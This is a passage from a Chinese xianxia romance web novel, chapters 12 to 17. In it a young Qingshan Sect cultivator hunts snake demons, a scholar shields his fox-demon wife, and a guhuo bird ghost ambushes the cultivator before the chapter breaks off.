那是个十五六岁的少年,一张还带着少许稚气的娃娃脸,双眸神采飞扬,衣着极为精致考究,走在这边陲小镇的市集中,显得有几分格格不入。 他似乎对什么都有兴趣,左看看,右逛逛,没多久,手中已经拎了一大堆风车啊糖人啊点心啊之类的小玩意儿。 还有个年轻男人正亦步亦趋地跟在少年身后,苦着脸道,“小师叔,我们是来抓蛇妖的,不是来逛市集的……” “急什么,那只千年蛇妖都搞定了,区区一只七百年的小蛇妖,更逃不出我的手掌心,”少年挑眉一笑,“我还是第一次来凡人的市集呢,多逛会儿。咦,那边好像有耍猴儿的,走,一起去看看。” “……” 前方的巷子里,忽然传出惊呼。 “少爷,少爷,你怎么了?” 两名随从抱着那锦衣男子,慌张呼唤。 锦衣男子一双小眼睛白多黑少,口吐白沫,“妖怪……狐狸妖怪……” “有狐妖?!”少年一愣,快步上前,清声问道,“在哪?” 锦衣男子却只是痴痴呆呆地重复,“妖怪……狐狸妖怪……” 年轻男人跟上,扫了一眼,“小师叔,这人像是吓傻了。” 少年眯了眯眸子,视线投向巷子,“这里面……似乎确有极弱的妖气。” …… “记得将煎好的药喂你父亲喝下,每日一副,早中晚各一碗。”陈子均又写了一张药方,递将过去,“等三副药吃完后,换成这个方子,再用一周,便可彻底痊愈。” “多谢公子,”顾行天小心翼翼地收起药方,又恭恭敬敬地将狐皮捧过来,“这是您要的狐皮。” 陈子均将狐皮卷起,与其它东西一同拎在手中,又随口问道,“这块狐皮你是如何得到的?” 顾行天一五一十地回答了。 陈子均知道经过后,点点头,对胡翘翘道,“走吧。” 门外的少年刚过来,便听到“走吧”两字,他目光一凝,猛地伸手推门,大喝道,“妖怪,哪里逃!” “啊!”胡翘翘吓了一跳,耳朵尾巴险些又冒了出来。 陈子均立马伸手,将她拽到身后护住,侧首低声道,“娘子别怕,有我在。” 第12章 原来是这玩意儿? 胡翘翘原本极为恐惧,因为那少年一出现,她便从对方的身上感到了某种极其可怕、极其危险的感觉。 那少年,不是普通人! 但此刻,当陈子均挡在了她的身前,还有那句,“娘子别怕,有我在”,那股恐惧便一下子不见了,取而代之的,是一种浓厚的安全之感。 挺拔而宽阔的后背,仿若一座巍峨无比的山岳,能为她挡去所有的风暴。 在他的身后,她什么也不用害怕,什么都不用担心…… 可是,相公分明只是个凡人啊…… 胡翘翘长睫颤动,眼圈不知不觉发红,她站在陈子均的身后,双手轻轻揪住他的袖子,心中在想,若是、若是她真的被发现了身份,那她宁愿死,也不会连累到相公的…… 她在这里心中千回百转,实际不过短暂的一瞬间。 顾行天皱起了眉,看着这两个闯进自己家门的不速之客, “你们是什么人?要干什么?!” 少年不搭理他,手指按在腰间,皱眉凝眸,神念在对面三人的身上一一掠过,没有发现任何异样,再细寻那妖气的源头,最后,视线有些愕然地落在那张狐皮上。 “……呃,原来是这玩意儿?” 竟然是块两百余年的半妖狐皮,难怪这妖气稀薄得出奇…… 顾行天见他不搭话,脸上显出冷色,大步上前,朝那少年伸出手,“谁让你们进来的,给我出去!” “退后。”少年身后的年轻男人踏上一步,冷嗤一声。 袖子轻飘飘一甩,似乎半点力气也没用。 顾行天却感觉到一股巨大的无形之力冲了过来,他咬紧牙关,强行抵抗,身子来回晃了两下,却连半步都没后退。 那年轻男人略带讶异地“咦”了一声,第一次正眼打量了他几眼。 方才那一下,即便身材高大的壮汉也得跌出四五米,这黑瘦少年,居然能不为所动? “不好意思,”少年拱了下手,笑着说,“方才我们听到有人喊有狐妖,一时心急,才不请自入。” 顾行天一愣,“什么狐妖?” “是个误会,”少年耸耸肩,指着陈子均手中的狐皮,笑道,“妖气是那玩意儿传出来的。” 顾行天这才露出恍然之色,道,“方才我确实听到有人突然大喊什么狐妖,难道是他不小心将这块狐皮看成了妖怪?” 少年点点头:“应是如此。” 胡翘翘则是躲在陈子均的身后,悄悄松了口气。 原来,他们没看出她是狐妖…… 但她自然不可能傻到说你们搞错啦,我才是真的妖怪。 这时,少年忽然想到什么,看向陈子均,先是打量他的面容,饶他是同性,也觉得对方实在俊美非凡,尤其是那一双眼睛,目光温和无比又深邃如海,让人难以看透。 不过,对方的身上没有任何气息,显然只是个平凡书生。 “这狐皮是你的么?” 陈子均笑了笑,算是默认。 少年淡淡道,“回头将它毁掉吧。” 陈子均挑眉,“为什么?” “此物带有妖气,凡人不宜多接触。” 陈子均还没说话,顾行天却先急了,“放屁,这狐皮本来是我的,如果它有妖气,我怎么还好好的?!” 他担心陈子均听信眼前这两人的话,误认为他在恩将仇报。 “你的体质异于常人,气血充沛,阳气强盛,寻常的妖气伤不到你,但这书生只是凡人,与这狐皮接触日久,轻则大病一场,重则丧命。”那年轻男人开口道,“我们是青山宗弟子,不会胡说八道。” “青山宗?”顾行天一愣,猛地睁大双眼,“三大仙门之一的青山宗?” 见到他震惊的表情,少年露出一个满意的微笑,“对。” 顾行天抽了口冷气,竟然是青山宗的仙师…… 青山宗…… 胡翘翘有些好奇,兼之对方一直没看出她的身份,于是乎,胆子也壮了几分,一手指依旧攥着陈子均袖子,从他身后探出半个小脑袋,软软地问,“莫非钱塘县的白蛇妖,就是你们……” 她虽只露出半张脸,却也能看得出是个少见的美人,兼之声音婉转入骨,顿时让少年有几分得意。 原来这凡人小娘子也听说了自己的丰功伟绩。 “没错,”少年轻咳了声,故作轻描淡写地道,“那条白蛇妖,便是被我轻松擒住,再镇压在一座宝塔之下。” 原来是这个坏蛋,拆散了白娘子和她的相公。 看着年龄不大,人模狗样,竟然如此无情、如此狠毒! “哼!” 胡翘翘忿忿地瞪了他一眼,将脑袋缩了回去。 少年没得到期待中的小娘子的崇拜赞叹,反而收获白眼一个,有些莫名其妙。 陈子均对自家娘子太过了解,好不容易才忍住了,没直接笑出声。 这时,那年轻男人凑到少年的耳边,说了几句话。 少年沉吟一下,点头道,“可。” 年轻男人便对顾行天招了招手,“你过来一下。” 顾行天一怔,不知对方叫他干什么,犹豫了下,还是走了过去。 年轻男人将手放在他的头顶,片刻后,略带惋惜地摇了下头,“可惜,可惜。” 顾行天忍不住问:“可惜什么?” 年轻男人道,“你天生神力,倘若能生有灵窍,便是修炼的好苗子,可惜……” 人有三魂七魄,其中三魂属神,七魄属体,魂属阴,魄属阳,魂掌管灵智,魄负责为魂提供养分根基。 这黑瘦少年似乎是天生神力,这便意味着,对方的七魄必然比常人强大得多。 倘若他的三魂中,任一魂能生有灵窍,哪怕只有一个,在如此强大的七魄的辅助下,修炼速度也会十分惊人,可惜,这黑瘦少年的三魂中,连一个灵窍也无。 没有灵窍,便无法与天地元气形成感应,连最初级的感应境都无法踏入。 七魄再强,也无法产生作用。 就像一柄宝剑,用的材质再好,但未开刃,就杀不死人。 这黑瘦少年虽然身具神力,却没有灵窍,注定与仙途无缘,将来顶多是个力气极大的莽夫凡人。 他虽没说出这些,但顾行天已经从他的语气与神态中,判断出了大半。 眼底深处,一抹失落之色一闪而过。 而后,他反高高扬起了嘴角,神情有些傲然地笑了一声。 “不能修炼又如何,那只老狐不一样死在我的手中么!” 第13章 相公的话,永远都有道理 年轻男人不以为意地轻哂一声。 果然,还是少年意气,不知道修仙者和凡人之间的差距,堪比天与地。 他看向少年,“小师叔,我们走吧!” 少年立即点头,兴致勃勃地道,“不知方才那耍猴儿的结束没有,我们快去看看。” 两人飘然离开。 陈子均从背后拉出胡翘翘,笑着说,“娘子,我们也该去买鸡了。” “好呀。”听到要买鸡,胡翘翘立即露出甜美笑靥。 顾行天想到一事,急忙拦下陈子均:“公子,我不知道这狐皮有妖气,您将它还给我,再告诉我您的住所,等我过几日猎到其它好皮子,再给公子送来作为补偿。” “无妨,”陈子均漫不经心地笑了笑,“这狐皮我自会处置。” 顾行天还想说什么,陈子均已经摆了摆手,“去照顾你父亲吧!” 陈子均与胡翘翘离开顾家。 视线落在狐皮上,胡翘翘小声问,“相公,你打算怎么处置这块狐皮啊,烧掉好不好?” 陈子均挑眉:“你不是想用它给我做袍子吗?怎么要烧了?” 胡翘翘眉毛紧蹙,语气里全是歉疚与不安,“我真的不知道妖气会损耗凡人的身体……否则,我不会想要它的……我不想你出什么事……还是烧了吧。” “傻娘子,方才那两个人根本不是什么青山宗的仙师,”陈子均的嘴角牵出一缕笑弧,“难道你没看出来?” 胡翘翘抬起头,愕然地看着他。 “你想想,仙师可都是法力无边、能降妖除鬼,如果他们真的如此厉害,怎么会连你是狐妖都察觉不到?”陈子均一本正经地说。 “……” 胡翘翘轻咬红唇,越想相公的话,便越觉得有说服力。 没错,那个少年如果真的能抓住一千多年的蛇妖,没理由看不出她这只小小狐妖嘛。 果然是骗子。 “相公,你真聪明!”她弯起眼,望着陈子均的目光中,满满的崇拜,“所以,这狐皮应该没关系了?” “当然了,”陈子均用空着的那只手,揉揉她的小脸蛋,笑道,“你再想想,我们成亲这么久了,如果妖气真的会伤身,我现在怎么还健健康康的呢?” 胡翘翘一愣,接着用力点头。 “对呀,对呀。” 相公除了体温低一点儿,这几年连头疼脑热之类的小病都没生过,身体好得很。 她彻底放心,喜滋滋道:“那我们快点去买鸡,不然一会儿赶不及牛车啦。” 天色彻底昏暗时,牛车方才回到了白崖村。 村民们各自归家。 陈子均与胡翘翘也拎着几只鸡、狐皮以及买回的其他东西,回到了两人的小屋。 陈子均去放东西,胡翘翘则是将几只鸡关进前院的空鸡笼。 而后,她对着最肥的那只大公鸡,双手叉腰,凶巴巴道,“明天先吃你!” 众鸡都瑟瑟发抖,尤以那公鸡为甚。 威胁完鸡,胡翘翘又屁颠的去水缸处舀了一盆水,先让陈子均洗脸洗手,等他洗完,她方才自己洗,洗完后,那张美到毫无瑕疵的小脸便又露了出来。 随后,胡翘翘去了厨房。 “相公,天晚啦,今儿我们就吃个鸡蛋疙瘩汤行不行?” “嗯,我去摘点蘑菇,一块儿煮。” 陈子均来到后院,那里生着种外形有些奇特的白菇,约有七八十株。 扫了一眼,他挑出长得最大的两朵,轻轻掰下,再拿到厨房,交给胡翘翘。 胡翘翘将它们洗净,掰成小块儿,放入正煮着的疙瘩汤中。 相公种的这蘑菇不仅味道格外鲜美,而且每次吃完,她都会觉得身子暖暖的,脑袋似乎也没那么晕了。相公说它也是一种药,对她的身子极好,让她每日都吃上一些。 吃过晚饭,热水也烧好了。 浴房内,陈子均在木桶倒好了水,再试试水温,觉得合适,又找出几样药物,放进木桶,很快,夹杂着淡淡药香的热气升起,方才去叫胡翘翘洗澡。 胡翘翘进来后,很自然地脱去了衣服。 她虽然面容还稍显稚气,但身段却已经如初夏的蜜桃,青涩褪去,来到了初熟, 纤腰丰胸,皮肤雪白,茱萸粉红,每一处都滑若凝脂,竟是细腻得看不到半个毛孔。 此刻刚吃过饭,她身上已经薄薄地沁出了一层细汗,越发衬得肌肤若上好的羊脂玉一般晶莹柔润,引人遐思。 随后。她抬脚踏进木桶,将身子泡进热水中,只露出了脑袋和纤瘦的香肩。 陈子均则是站在她背后,拿起水勺,一勺勺地舀着热水,替她冲洗头发。 水珠顺着她的长发流淌,再沿着凹凸有致的曲线滑落,最后与桶中的水混在一起,难以分开。 胡翘翘眯起眼睛,舒舒服服地享受着。 她病倒的那段时间里,都是相公亲自动手替她洗头洗澡。 最伊始她还有些羞涩,次数多了,就慢慢习惯。在她想来,两人是夫妻,每日同床共枕,帮她洗澡这点小事算得了什么,甚至有时见到相公在她身体上流连爱慕的目光,胡翘翘的心中还会升起无比甜蜜的感觉。 如今她的病虽好得差不多了,但这习惯仍旧延续了下来。 不过,她有时想替相公洗澡,或是拉着相公一同洗澡,但相公许是脸皮薄,总是不答允…… 胡翘翘用小手轻拨着桶中的热水,过了片刻,想到一事,突然轻轻叹了声气,“相公,你觉不觉得我很没用呀。” “怎么了?”陈子均问。 “我明明是个妖怪,但只会吃喝拉撒睡,什么法术也不会,”胡翘翘垂眸注视着水面上漂浮的草叶,有些内疚地软声道,“倘若我会点石成金,相公就不用读书读得那么辛苦了,可以住大房子、穿漂亮衣服,还能买好多好吃的……就算我不会点石成金这么高深的法术,哪怕只会一个能让衣服鞋袜和身上变得干干净净的小法术,相公也可以轻松许多……” 除了显出原型,以及变成人形之外,她别的什么法术都不记得。 真的太笨了。 陈子均笑了,“你不会,但我也不会,不是很公平吗?” “可你是凡人呀。”她还是不甘,“我不一样……” “我觉得没什么区别,”陈子均拿出一块干净的葛布,替她将头发擦干,“这样也挺好,这世上啊,大多数夫妻都是这么过日子的。” 听到最后那句话,胡翘翘的眼睛终于弯了起来。 “嗯,相公的话,永远都有道理。” 第14章 小青蛇,又被我找到啦 两人都洗了澡,回到卧室。 陈子均照例抽了本书看。 胡翘翘则是拿着那块狐皮坐在床边,她先用梳子小心梳理着每一处的狐毛,去除表面的少许灰尘和杂质,然后再用一块洁净的湿布,轻轻地顺着狐毛生长的方向一点点擦拭。 哪怕她在给自己舔毛的时候,认真程度,都不及现在的万分之一。 做完这些,她将狐皮晾在衣架上,准备明天去请教一下村里的大婶们袍子的做法,再正式动手开始缝制。 她以前只给相公做过袜子、腰带之类的简单物事,衣服还是第一次。 等这次成功了,以后便可以再给相公多做些,什么鞋子呀、贴身内衫呀,她都想学着做。 以后,相公从头到脚都穿着她做的衣服和鞋袜,就像是……她对相公的爱,亲密地包裹着他的全身…… 想到这里,胡翘翘小脸发烫,心跳加速,身子发软,更吃吃笑了出来。 陈子均被她惊动,扭头看了她一眼,“笑什么呢?” 胡翘翘脸红红,摇头,“没什么。” 怪不好意思的,还是别告诉相公啦。 她发现窗户没关,走过去关窗,而后,再一次听到了女人的幽幽哭声,“那个叫姑获鸟的妖怪怎么天天哭呀,吵死了。” 陈子均眯着眸子,望向窗外,“嗯,确实吵死了。” 夜色渐深。 胡翘翘拉着陈子均,软软道,“相公,别看书啦行不行,我今晚想和你聊会天儿。” 陈子均笑笑,放下书,“好吧。” 胡翘翘喜笑颜开,将头上的那枚陈子均买的珠钗轻轻拔下,收进木匣,然后散开一头如云般的乌发,再脱去外裳。 陈子均吹灭油灯,也脱去衣服,与她一块儿躺上了床。 轻轻摸着她的尾巴,他温声问,“想聊什么?” “相公……今天酒楼里,他们都说,人妖殊途,人和妖不应该在一块儿……”胡翘翘静了会儿,手指揪住他衣袖,声音里带着几分没底气的不安忐忑,“那……你为什么会喜欢我,会娶我呀?” 陈子均一怔,随后笑着说,“自然是因为你的美貌啊。” 胡翘翘一怔,接着,抬眸看着他,语气委屈巴巴地问,“就、就因为这个吗?” 尽管屋内无光,但她自然可以看清,相公的脸上露出了一个似笑非笑的神情,“你在想,相公怎会如此肤浅?” “没,没有……”胡翘翘摇头,又说,“只是,我曾在一本书上见到过一句话,‘以色事人者’……” “后面呢?” “……我忘了。” 她有点赧然。 “以色事人者,色衰而爱弛,爱弛而恩绝,意思是靠美貌、外表获取他人欢心的人,年纪大了之后慢慢变丑,就会失去那份宠爱,慢慢便恩断义绝了。” “嗯,就是这句,”胡翘翘低低地软声道,“这样的话,万一我有一天不那么美啦,相公就不会喜欢我了,是不是?” “傻丫头……”陈子均低声笑了,在这夜色中,嗓音无比温柔,“我心中深爱你,有你,自然会觉得你是这个世界上最独一无二的美人,这和你的容貌如何并没有关系。哪怕有一天你容颜尽毁,也依旧会是我心中最美的女人,更不会在乎你是不是什么妖精鬼怪。” “……” 在不算长久的静默之后,胡翘翘忽然哭出了声。 她用温热湿润的脸颊来回蹭着陈子均的脖子,“相公……相公……我也是啊,我也是……我也是……” 这一刻,她平时挺灵活的小嘴,突然变得笨拙无比,只会不停地重复着那句“我也是。” 陈子均心中微甜,搂住她,在她的额头上轻落一吻,“很晚了,睡吧。” …… 夜阑静。 野外。 一名样貌俏丽的青衣少女正驾着黑雾疾飞。 蓦地,身前,一道白光掠过,拦住她的去路。 拦路者,是个十五六岁的少年。 青衣少女生生顿住,紧接着,身后又是一闪。 她回头一望,便见到一个年轻男子,负手而立。 刷刷! 左右两侧,忽然涌出两团诡异无比的黑雾。 待黑雾散去后,出现了两道狰狞可怖、阴气腾腾的身影。 她知道,这是对方驭使的鬼奴! 眨眼间,前后左右的路,尽皆被拦得毫无破绽! 少年看着青衣少女,挥了挥手,嘻嘻一笑,“真巧呀!小青蛇,又被我找到啦!都说过,你逃不过我的手掌心的!” 青衣少女脸色不停变幻,突然,狠狠一跺脚。 “呸,你们这群青山宗的混蛋,为何一定要对我赶尽杀绝?”她一脸气恼,双目圆睁,连珠发炮,“盗你们养魂玉芝的是我姐姐,嫁给凡人的也是我姐姐,关我什么事?你们把她关起来也就罢了,为什么还对我紧追不放?” “我知道,你和那白蛇妖感情极好,以后一定会想方设法去救那白蛇妖出来,到时若让她跑了,我岂不是很没面子?以防万一,还是将你也一块儿抓了吧。”少年扬起眉梢,趾高气昂地道,“好啦,你乖乖束手就擒,我便将你与那白蛇妖关在一块儿,你们两个妖也可做个伴儿,没那么寂寞。怎么样,这个优待还不错吧?” 青衣少女皮笑肉不笑地瞅着他,“哟,我还得多谢你啦?” “那倒不用,举手之劳。” 少年得意的语气,让她恨得牙痒痒,很想咬一口。 “看样子,我是真的无路可逃了……”青衣少女目光掠了一圈,似乎已经认命地叹了口气,又问,“我还有最后一个问题,为何无论我跑到哪儿,你们都能找到我?” “这很简单。” 少年手指轻弹,一片绿色蛇鳞出现在他指尖,夜色中,散发着迷人的碧绿幽光。 “这是你的蛇鳞,只要你在一定范围内,我们就能通过它来施展青山宗的追踪术法,从而发现你的踪迹。” 青衣少女恍然:“原来如此。” 少年的手指开始掐动,“好了,别浪费时间,你的实力和我相差太远!” 青衣少女黑漆漆的眼珠儿一溜,突然冷笑一声,“二对一,也能算实力?!” 少年眯起眸子,“怎么?” “有本事和我一对一!” “激将法?” 第15章 小郎君怎地如此天真 “对,就是激将法?”青衣少女秀眉挑起,挑衅地看着他,“你敢不敢和我这个小蛇妖一对一?” 少年抬一下眉毛,继而看着她,像听见天下间最滑稽的笑话一般,咧开了嘴,大笑起来,“哈哈哈哈哈,我林清,可是青山宗宗主的孙子,十六岁便突破至凝魂四阶的天才!连你那千年妖龄的姐姐,都不是我的对手,还会怕你这只区区七百多年的小蛇妖?” 虽说七八百年的蛇妖,与凝魂四阶的修士实力相差并不大,但他是百年难见的六灵窍,又是青山宗宗主的孙子,自小灵草灵丹当成饭来吃,根基的深厚程度自然远非寻常修士可比。 只是他年纪尚幼,对大道的感悟未到火候,所以才尚未能进入凝魂大圆满阶段。 “我姐姐盗养魂玉芝时已被你们青山宗的防护阵法所伤,实力只剩原本的十之一二而已!何况,当时你们亦是以二敌一,即便你胜过了我姐姐,又有什么可吹嘘的?”青衣少女冷笑道,“有本事,与我单打独斗试试!” 林清的脸色微沉。 年轻男人连忙提醒,“小师叔,别上她的当!” 林清扭头,脸一板,“你认为,我一个人对付不了她?” “小师叔……” “退后两百……不,五百步!任何情况,你都不许插手!” 年轻男人无奈,飞到五百步之外,其鬼奴也跟了过去。 “够不够?” “可敢将你的鬼奴也撤去?!” “好,今晚让你输得心服口服。” 林清冷笑,手掐印诀,将自己的鬼奴收回。 青衣少女俏脸含霜,小嘴一张,从中吐出一把长剑,她握剑在手,剑光如电,划破夜空。 “小爷还能让你三招!”林清脚下踩着的玉尺忽然缩小,落到他的手中,宝光绽放,幻化重重尺影。 眨眼间,光影交错,交换数招。 “三招已过,”林清扬眉一笑,魂力运转,玉尺的宝光愈发夺目,“小青蛇,我要动真格了啊,收了你,我们还得赶去旁边的村子,查那里小孩儿丢魂的原因呢。” 青衣少女突然说:“停!” 林清一愣,还真停了手,看着她,“怎么,你是打算认输了?“ 青衣少女咬着唇,脸现红晕,指尖搭在腰带上,忽然轻轻一扯。 青衣散开,露出里面浅绿色的贴身内裙,雪白肤光若隐若现。 林清吓了一跳,连忙喝道:“你干什么?!” “小郎君,你应该还没见过女子的裸身吧?”青衣少女咯咯笑着,柔媚的声音在夜风中飘荡,腰肢无骨般地轻轻扭动,手指挑着内裙的系带,似乎要继续解开,“不想看么?” 林清一阵面红耳赤,心旌动摇,有些不知所措,下意识的扭开视线。 他毕竟只是个十六岁的少年,这种旖旎场景,连梦中都没出现过几次。 “蛇妖,你、你……我、我……” 蓦地,身后那年轻男人大呼出声,“小师叔,小心!” 什么? 林清一怔。 在他背后,地面突然开裂,一条巨大蛇尾闪电般地冲出来,一弹一卷,便夺走了他手中的那片绿色蛇鳞! 糟了,他中计了! 好无耻、好奸诈的蛇妖! 林清涨红了脸,怒气冲天,“蛇妖,你死定了!” “真以为我会脱光么?”青衣少女咯咯地笑得花枝乱颤,“小郎君怎地如此天真!” 笑声还未平息,俏脸陡然成了一个巨大的碧绿色蛇头,大嘴对准他张开,一团墨绿到近乎黑色的腥臭雾气猛地喷吐而出。 待林清驱散毒雾,再看时,那青衣少女已驾着黑雾,在夜色里遁出了数百米! “可恶,你看见她跑了,为什么不阻止她?!”林清气急败坏,扭头冲那年轻男人大喊。 年轻男人郁闷又无辜,“小师叔,你不是说任何情况都不许插手的吗……” 林清的脸孔扭曲,强忍着狠狠抽自己一嘴巴的冲动,催动手中玉尺。 玉尺立即变成五六尺长短,他飞身跃到其上。 “追!” 两道流光,朝着青衣少女的黑雾急速追赶而去。 青衣少女竭力催动体内妖气,更咬破舌尖,一口本源精血吐在黑雾上,仿若在烈火中又浇了一大桶油,速度立即大增。 一时间,几乎要从林清两人的视野中消失。 即便两人驭剑攻击,恐怕剑气也一时追不上她。 林清胸中怒潮翻涌,被这小蛇妖戏耍一通,若还让她成功逃走,那必将是他一生洗刷不去的巨大耻辱。 “五雷符,雷降!” 一道闪着金光的符箓被激发,随后化为飞灰。 下一瞬,五道雪白的雷霆从天而降,威势无比惊人,黑色夜幕如被撕裂。 这是青山宗予以他的保命之物,极为稀少的高阶雷符,即便是千年大妖,被这雷霆劈中,也要元气大伤。 咔嚓! 其中一道,准准劈在那青衣少女的身上。 “啊——” 黑雾消散,青衣少女发出一声凄厉无比的惨叫,直接朝下坠落。 下方竟是条颇为湍急的河流。 扑通一声,她掉进水中,顿时不见踪影。 片刻后,林清与年轻男人飞至河流上方,只见河水滔滔向前不停奔流,哪里还见得到那青衣少女的身影。 他们沿着河流往前,发现不远处的岸边地上面有某种巨大的蛇类生物拖曳过的水迹,数米后,又消失无踪,显然是用了土遁之类的术法。 两人都放出神念探查,但凝魂四阶的神念范围不过两三百米,最终一无所获。 林清怒不可遏,握住玉尺对河面一阵乱抽,直打得河浪翻起十几米高。 年轻男人沉声问,“小师叔,现在怎么办?” “她中了五雷符,不死也会重伤,遁不出多远!”林清沉着脸,“我们分头去找,一有发现,便用传音符联系!” 年轻男人点点头。 林清与他各自选了一个方向,搜寻青衣少女的踪迹。 片刻后。 黑夜如墨,这一带又颇为荒僻,除了寒风吹动草叶的沙沙声,连虫鸣都几乎听不到。 林清只身一人,突然有些不安。 “这么黑……” 他咽咽口水,手掐印诀,“黑将,出来!” 第16章 竟然是姑获鸟! 黑雾弥漫,一个身披盔甲的高大阴魂在他身边漂浮而现,林清的心方安定少许。 三大仙门虽然同修魂力,但又各有偏倚所长,比如青山宗,便是以驭鬼、符箓之术见长,每个青山宗弟子,在进入凝魂境之后,都能拥有自己的鬼奴。不过,鬼奴的实力至多只能比主人高出一个层次,否则便极易脱离控制,反噬自身。因此,林清的鬼奴黑将,便恰好是凝魂大圆满的实力。 就在此刻,怀中微光闪烁。 林清一愣,伸手取出一片玉符,这是青山宗的传信符,激发后,那年轻男人的声音冲出。 “小师叔,救——” 戛然而止。 林清面色大变,蓦地拧身,向那年轻男人的方向飞掠而去! 掠出数里,突然一阵阴风袭来。 这风,阴冷透骨。 其中还夹杂着断断续续的孩子哭声,还有,女人的歌声。 “摇啊摇,摇到外婆桥……” 一股瘆人的寒意,自脊椎尾骨一直攀升到天灵,林清不禁打了个寒颤,落下地面,玉尺入手,警惕地向哭声方向探去。 越走越僻静,那哭声与歌声也越清晰。 林清心中的警惕之意也越浓。 突然,他看到了那年轻男子。 对方背对着他,歪歪斜斜地坐在草地之上,发出诡异的颤抖。 “方云!”林清喊了一声,正要过去,年轻男子突然扭头,扭曲的脸,神情痛苦,嘴巴一动一动,似乎在阻止他。 林清心中一凛,立即将神念集中在双眼。 当他真正看清那边的景象时,抬起的脚步,便怎么也放不下去了。 年轻男子的身上,爬着七八个苍白的小孩儿,每个都面带邪恶的笑容,毫无血色的嘴裂开,一缕一缕的阴气自他们口中冒出来,再从年轻男人的七窍里钻进去。 他的鬼奴也是同样的遭遇,身上的阴气在被几个小孩疯狂吞食。 这些小孩儿,竟然都是怨气十足的厉鬼。 虽说每个的实力都不算太强,但数量众多,配合起来,足以击败筑基期的修士! “该死,这些鬼玩意儿从哪来的!” 林清瞠目欲裂,正要动手,风中的哭声歌声,忽然变得清晰可辨,听着就在不远。 他下意识地扭头。 一条幽幽荡荡的白影,浮现而出。 那是个怀孕的妇人,白裙沾着血迹,妇人的手中,还抱着一个白白胖胖的小娃娃,她轻轻摇晃着小娃娃,口中哼唱着:“摇啊摇,摇到外婆桥……” 这歌声,听着十分温柔,慈爱。 但在当前这环境中,却愈发显得诡异! 小娃娃依旧啼哭不止。 妇人抬头,看向林清,黑发飘飞中,雪白的脸上忽然露出一个怪异怨毒的微笑,“你……吓到我的宝宝了!” 这一刻,她的浑身上下弥漫着无比邪恶的气息。 纯粹的邪恶,无尽的怨恨。 林清的脸刷地变白了几分,头皮阵阵发麻,“竟然是姑获鸟!” 姑获鸟,是惨死的孕妇怨念化为的妖物,也是众多妖物之中,最为凶残、最为可怕的种类之一! 因为姑获鸟的孩子死在腹中,无法出生,所以她白日寻找婴孩,晚上就勾走婴孩魂魄,养成小鬼。 如此周而复始。 而每多一只小鬼,姑获鸟的实力便会强上一分! 眼前这只姑获鸟,害死了如此多的孩童,其自身的实力,也直接来到了相当于修士的凝魂大圆满阶段! 林清眼眸一眯。 哼,不过是区区凝魂大圆满罢了! 他还不至于被吓到! 鬼奴黑将自潜伏处猛地冲出,速度之快,直接就出现在了姑获鸟的身边,阴气凝成的巨大长刀举起,朝她狠狠劈下! 任黑将对付姑获鸟,林清身形一闪,来到方云身边,迅速拍出一张符。 顿时,方云的身上金光四射,将那几个小鬼孩全部弹开。 它们身上冒出黑烟,连连凄厉惨叫,因都是孩童模样,让人看着有些不忍。 方云已然昏迷,他体内的阳气损耗大半,伤势不轻。 林清正要将方云扶起,忽然,肩膀上多了一股冰冷之意。 他看向自己的肩。 那里,正搭着一只惨白如尸的手。 林清猛地扭头。 身后,那妇人一手抱着娃娃,一手搭在他肩上,鲜红的唇角弯出了一个诡异之极的弧度。 “小郎君……” 心脏几乎停跳。 林清猛地倒退,同时呼唤鬼奴,却发现鬼奴已经奄奄一息,失去回应之力! 这是怎么回事,自己的鬼奴也是凝魂期大圆满的实力,理应与这只姑获鸟不相上下,再不济,也应能支撑到他救出方云,怎么会在如此短暂的时间之内,就一败涂地?! 妇人咯咯咯咯地笑了起来,下一秒,身上妖气轰然爆发,惊人之极。 林清全身一震,突然醒悟。 这只姑获鸟竟是已凝结出妖珠的千年大妖,至少相当于流光境一阶的修士! 它刻意隐藏实力,是为了引他入彀,防止他第一时间逃走! 而他的对敌经验太少,上了这只姑获鸟的当! 林清顿时心中大悔。 倘若他的五雷符还在,此刻一雷下去,或许还能重伤这姑获鸟。 但方才五雷符却在对付那只蛇妖的时候用掉了,且,没有第二张! 妇人咯咯笑着,几缕黑发忽然变长,刷地捆住林清。 这黑发柔韧无比,林清竟动弹不得。 紧接着,她的裙子诡异地晃动起来。 很快,自她的裙下,缓缓爬出了一个皮肤青紫的婴儿,眼凸嘴大,肚子高高鼓起,活像只怪异的青蛙,肚脐位置还拖着一根沾着血迹的长长脐带,与姑获鸟的裙底相连。 这婴儿如此丑陋、诡异,姑获鸟看着它的目光却是无比慈爱。 她轻声道:“乖宝宝,好宝宝,饿了吧?去吧,吃了他!你就能再长大一些了!” 那鬼婴一下子,跳到了林清的身上。 小手如利爪,抓住他衣服,往上爬。 丑陋邪恶的小脸,距离林清的喉咙越来越近。 鬼婴咧开嘴,露出两排森森利齿,一股腥臭的气息扑面而来。 完了! 林清满心绝望与不甘。 自己这个绝世天才,韶华方十六,连女孩儿的手还都没牵过…… 竟然,要成为如此丑陋的妖物的食物么? 真恶心啊! “真是恶心。” 突然,有人说。 第17章 白崖村一书生 是谁? 林清只觉得这声音有些熟悉,睁眼望去。 姑获鸟也一起扭头。 风起,头顶的云被吹开。 清亮如水的月光,披洒而下,笼罩住不远处一道缓缓而来的挺拔身影。 近了,更近了。 一张清冷俊秀的面孔,蓦然跃入了林清的眼中。 他怔住。 这人,不就是他白天遇到的那个书生么? “别过来!快跑!”林清刚喊出口,忽觉不对。 无论他怎么感应,对方都只是一个凡人,但面对如此诡异的场景,对方的神情,简直平静得出奇。 正因此,也古怪得出奇。 姑获鸟应也察觉到了这点,因为她只是站在原地,警惕而阴冷地盯着缓步而来的书生,几缕黑发在夜色中疯狂地抖动着,却没有采取任何行动。 而听到林清的提醒,书生才终于朝他望了一眼,唇角微微弯起,露出一个淡到几乎不像笑的笑。 “人是笨了点,品性倒不坏。” 他淡淡道。 林清:“???” 说完这句,书生扭头看向妇人,视线落在了她怀中的小娃娃上。 “我本以为抹去了你的印记,你就会收手,”他摇了摇头,“没想到,你居然还是勾走了这孩子的魂魄。” 妇人静了几息,忽然咯咯咯地笑了起来。 “原来我给这孩子留的印记,是被你给抹掉!”她身躯摇晃,笑得妖异,“害得我多费了一番功夫才找到……” 最后一个“她!”字吐出的瞬间,妇人的满头黑发突然毫无征兆地激射而出! 铺天盖地的冲向书生! 速度之快,竟然传出了呼啸的破空之声! 与此同时,原本在林清身上的鬼婴,也张开大嘴,怪叫一声,折身朝书生扑去! “咯咯咯咯——嘻嘻嘻嘻——死吧——”妇人发疯似地大笑起来,她的每一根头发,都比宝剑还要锋利几分,足以将那书生扎成筛子! 林清闭上了眼。 